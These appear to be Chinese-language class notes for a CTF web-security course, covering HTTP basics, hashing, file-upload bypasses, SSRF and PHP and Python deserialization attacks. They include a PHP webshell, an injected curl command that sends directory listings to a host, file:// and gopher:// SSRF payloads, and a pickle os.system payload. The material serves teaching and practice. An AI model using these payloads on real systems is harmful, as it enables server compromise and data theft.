# Web 進階(11/7)
- https://reurl.cc/GrLk5y
- https://140.110.112.78/
[TOC]
## 0x00 基礎補充
### HTTP Methods
- **GET**(取得)
- **POST**(送出表單,header 後面可接 body)
假如你想送出資料,例如表單,但不想加資料在 URL 後面,可以用 POST 塞在 body。
- **HEAD**(跟 GET 一樣但只拿 header)
假如你想測試某個檔案是存在,可以用 HEAD 看是不是 404 避免下載。
- **PUT**, **PATCH**(修改,header 後面可接 body,跟 POST 功能差不多)
- **DELETE**(刪除)
- **OPTIONS**(可看資源的選項)
> cURL 使用任意 method 做 request:
> ```sh
> curl -X OPTIONS -v https://example.com/
> ```
:::warning
【練習 0】[Web Level 1] HTTP Method
【練習 1】[Web Level 3] New HTTP method
:::
### HTTP Response Status Code
- 1xx(資訊回應)
- 2xx(成功回應)
- 200 OK
- 3xx(重定向)
- 301 Moved Permanently
- 302 Found
- 307 Temporary Redirect(考慮 http method)
- 308 Permanent Redirect(考慮 http method)
- 4xx(用戶端錯誤)
- 400 Bad Request
- 401 Unauthorized
- 403 Forbidden
- 404 Not Found
- 405 Method Not Allowed
- 5xx(伺服器端錯誤)
- 500 Internal Server Error
- 502 Bad Gateway
補充:
* [HTTP 狀態碼 - HTTP | MDN](https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Status)
* [搞懂 http 3xx 重新導向狀態碼](https://medium.com/@dubiety/%E6%90%9E%E6%87%82-http-3xx-%E9%87%8D%E6%96%B0%E5%B0%8E%E5%90%91%E7%8B%80%E6%85%8B%E7%A2%BC-f1a288c1cd20)
### 編碼(Encoding)、加密(Encryption)、雜湊(Hashing)
#### 編碼(Encoding)
有時需要只用部分字元表達 binary 資料,所以定義了出幾種轉換方法。
1. **Base64 encoding**
轉換成用 `A-Z` `a-z` `0-9` `+/=` 表示(其實總共可能出現 65 種字元)
PHP
```php
base64_encode("\x00")
"AA=="
base64_encode("\x00\x01")
"AAE="
base64_encode("\x00\x01\x02")
"AAEC"
base64_encode("\x00\x01\x02\x03")
"AAECAw=="
base64_encode("你好")
"5L2g5aW9"
```
指令
```bash
$ echo -n 你好 | base64
5L2g5aW9
$ echo -n 5L2g5aW9 | base64 --decode
你好
```
2. **URL encoding**
常用於網址和 HTTP header,因為 HTTP 不允許非 ASCII 字元。
PHP
```php
urlencode("I love you")
"I+love+you"
urlencode('; curl http://example.com/?`ls | base64`')
"%3B+curl+http%3A%2F%2Fexample.com%2F%3F%60ls+%7C+base64%60"
urlencode('哈')
"%E5%93%88"
urlencode(' +')
"+%2B"
```
#### 加密(Encryption)
將明文資料轉成密文,有 key 才能解回來看明文。
#### 雜湊(Hashing)
將輸入 bytes 轉換成一組較短的 bytes 輸出。要求單向映射無法逆推、不同的輸入要有不同的輸出,可以用來比較資料一不一樣,例如檢查密碼對不對。
1. **MD5**, **SHA1**
PHP
```php
echo md5('hi'); // 49f68a5c8493ec2c0bf489821c21fc3b
echo md5('ho'); // b5d9b59113086d3f9f9f108adaaa9ab5
echo sha1('hi'); // c22b5f9178342609428d6f51b2c5af4c0bde6a42
echo sha1('ho'); // 9a76a857ad399b492ba01879d0fa2d717e4430b2
```
指令
```bash
$ echo -n hi | md5sum /dev/stdin
49f68a5c8493ec2c0bf489821c21fc3b /dev/stdin
$ echo -n hi | sha1sum /dev/stdin
c22b5f9178342609428d6f51b2c5af4c0bde6a42 /dev/stdin
```
已經不安全了,還有[很多網站可以用來逆推](https://hashtoolkit.com/)。
2. [目前常見的雜湊演算法](https://zh.wikipedia.org/wiki/%E6%95%A3%E5%88%97%E5%87%BD%E6%95%B8#%E7%9B%AE%E5%89%8D%E5%B8%B8%E8%A6%8B%E7%9A%84%E9%9B%9C%E6%B9%8A%E6%BC%94%E7%AE%97%E6%B3%95)
> 處理字串的好工具:「CyberChef」
> https://gchq.github.io/CyberChef/
:::warning
【練習 2】[Web Level 2] Md5 collision
【練習 3】[Web Level 2] sha1 collision
提示:"magic hashes"
:::
## 0x01 上傳檢查問題
* 若 server 支援 php,則我們要避免使用者上傳 php 程式,以免被用來執行任意 code
* [在 Apache 使用 .htaccess 檔案防止 PHP 被解析](https://electrictoolbox.com/disable-php-apache-htaccess/)
```
RemoveHandler .php .phtml .php3
RemoveType .php .phtml .php3
php_flag engine off
```
* 根本沒檢查檔名
可傳 Webshell:
```php
<?php system($_GET['x']); ?>
```
:::warning
【練習 4】[Web Level 3] ImageUploader
:::
* 檔案類型檢查常常只檢查檔案 header,後面塞髒東西不會影響。
:::warning
【練習 5】[Web Level 4] ImageUploader2
:::
> 補充:VIM 小抄
> `v`: 選擇字元(選完按 `d` 可以刪除)
> `gg`: 到第一行
> `G`: 到最後一行
> `End`: 到行尾
> `Home`: 到行頭
> 補充:不用 VIM 的方法
> ```bash
> ( head -c 500 image.png; cat shell.php ) > image.phtml
> ```
> 補充:邊打邊跑 PHP
> PsySH: https://psysh.org/
* Apache 設定檔中,如何決定是否將檔案視為 php 去解析?
例如在 `/etc/apache2/mods-available/php7.4.conf`
```xml
<FilesMatch ".+\.ph(ar|p|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
```
- `.+\.ph(ar|p|tml)$` 是 [regular expresion](https://blog.techbridge.cc/2020/05/14/introduction-to-regular-expression/),用來匹配檔案名稱
:::warning
【練習 6】[Web Level 3] sh3ll_upload3r
提示:`page.php.` 以前常被設定視為 php 解析
:::
## 0x02 跨站請求偽造 (SSRF, Server Side Request Forgery)
問題:後端拿使用者輸入的網址去 request 其他地方
- 可能的實作
```php
<?php
# https://www.php.net/manual/en/wrappers.php
echo file_get_contents($_GET['url']);
# https://curl.haxx.se/docs/manpage.html
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_ALL);
$data = curl_exec($ch);
$type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
echo $data;
```
- 以上都不只會吃一般 HTTP 的網址
- `file_get_contents`
- 檔名
- `file://`
- `http://`
- `https://`
- `php://`
- ...
- curl
- `http://`
- `https://`
- `file://`
- `gopher://`
- ...
- 一旦後端這樣寫,而且 url 可控,有很多招可以玩
- 用 `file://` 讀 server 上的檔案
- 讀 `/etc/passwd`:`file:///etc/passwd`
- 讀程式目前工作路徑下的檔案:`file:///proc/self/cwd/index.php`
- 讀網段表 `/proc/net/fib_trie`
- 用 `gopher://` 模仿任意協定(如果使用 curl)
- TCP
- HTTP
- Redis
- MySQL
- SMTP
- 掃內網的 port
例如用 gopher 模仿 HTTP
```
curl gopher://example.com:80/_GET%20%2F%20HTTP%2F1.1%0D%0AHost%3Aexample.com%0D%0A%0D%0A
```
:::warning
【練習 7】[Web Level 3] Orange_demo-1
【練習 8】[Web] SSRF Noob
:::
:::info
【補充題】https://bamboofox.cs.nctu.edu.tw:14653/
【補充題】https://bamboofox.cs.nctu.edu.tw:14654/
:::
## 0x03 反序列化攻擊(Deserialization Attacks)
- 序列化(Serialization):將記憶體中的程式物件轉換成 bytes
- 反序列化(deserialization):將 bytes 轉回程式物件
- 直接把記憶體內容存起來不行嗎?
- 為何不好?
- 資料結構複雜,不知道物件的記憶體範圍
- 有些欄位是一次性的,對下次 load 出的物件沒意義
- 不知道哪些要存哪些不用存
- 如何解決?
- 預設把物件的 property 都存起來
- 如果必要,可針對類別定義如何序列化或反序列化
- 常見程式語言都有內建序列化功能
```
PHP serialize() unserialize()
Python pickle.dump() pickle.load()
Ruby Marshal.dump() Marshal.load()
JavaScript JSON.stringify() JSON.parse()
Java java.io.Serializable + Object[Input|Output]Stream
...
```
- 補充投影片:https://docs.google.com/presentation/d/1rSfM8UMTkEj6-zbH3q3Mq94mI5TH1WEX2t5I7DSvL5Y/edit?usp=sharing
### 類別(class)與物件(object)
簡而言之,類別是物件的藍圖。我們定義類別,用類別產生物件。
- 用途:
- 把程式碼包裝起來,以重複利用
- 變數 → 物件的屬性
- 函式 → 物件的方法
- 物件導向程式設計(OOP)
- 封裝
- 繼承
- ...
- 常見用語:
- 建構子(constructor)
- 解構子(destructor)
- 屬性(property)
- 方法(method)
### PHP
```php
class User {
public $name = '';
function __construct($name) {
$this->name = $name;
}
function sayHi() {
echo "my name is $this->name\n";
}
}
$user = new User('David');
$user->sayHi(); // my name is David
echo serialize($user); // O:4:"User":1:{s:4:"name";s:5:"David";}
$fakeUser = unserialize('O:4:"User":1:{s:4:"name";s:6:"Hacker";}');
$fakeUser->sayHi(); // my name is Hacker
```
**PHP 中常常被攻擊的 Magic Function**
如果這裡面危險操作會用到屬性,容易被攻擊
- `__destruct()` PHP物件解構子
- `__wakeup()` 反序列化塞完屬性之後會被用來初始化物件
- `__toString()` 自動轉成字串時被用到
:::warning
【練習 9】[Web Level 4] To serialize or Not to serialize
:::
> 架一個簡單的 PHP server 做測試
> ```bash
> vim index.php
> php -S 0.0.0.0:8000
> ```
### Python
Python serialize / deserialize
```python
#!/usr/bin/env python3
import pickle
class User:
def __init__(self, name):
self.name = name
def sayHi(self):
print('hi my name is', self.name)
pickle.dumps(User('David'))
# b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00Davidq\x04sb.'
u = pickle.loads(b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00Davidq\x04sb.')
# <__main__.User at 0x7f88065ca2b0>
u.sayHi() # hi my name is David
```
**如何攻擊?**
- `__reduce__` 在**序列化**時會被 call,回傳值為 `(function, (arg1, arg2, ...))` 這種形式,這東西會被放在序列化後字串的 bytes 中,當在做反序列化時,物件會以 `function(arg1, arg2, ...)` 的方式建立。
```python
#!/usr/bin/env python3
import pickle
import os
class User:
def __init__(self, name):
self.name = name
def __reduce__(self):
return (os.system, (self.name, ))
s = pickle.dumps(User('echo 123'))
# s: b'\x80\x03cposix\nsystem\nq\x00X\x08\x00\x00\x00echo 123q\x01\x85q\x02Rq\x03.'
pickle.loads(s)
# 123
```
補充:Python 2
```python
#!/usr/bin/env python
import cPickle # or pickle
import os
class User(object): # 要有 object
def __init__(self, name):
self.name = name
def __reduce__(self):
return (os.system, (self.name, ))
cPickle.loads(cPickle.dumps(User('ls')))
```
:::warning
【練習 10】[Web Level 4] Kaibro_easy-pickle
:::
## 0x04 其他水題
:::warning
【練習 11】[Web Level 2] Download
【練習 12】[Web Level 4] Ev41
:::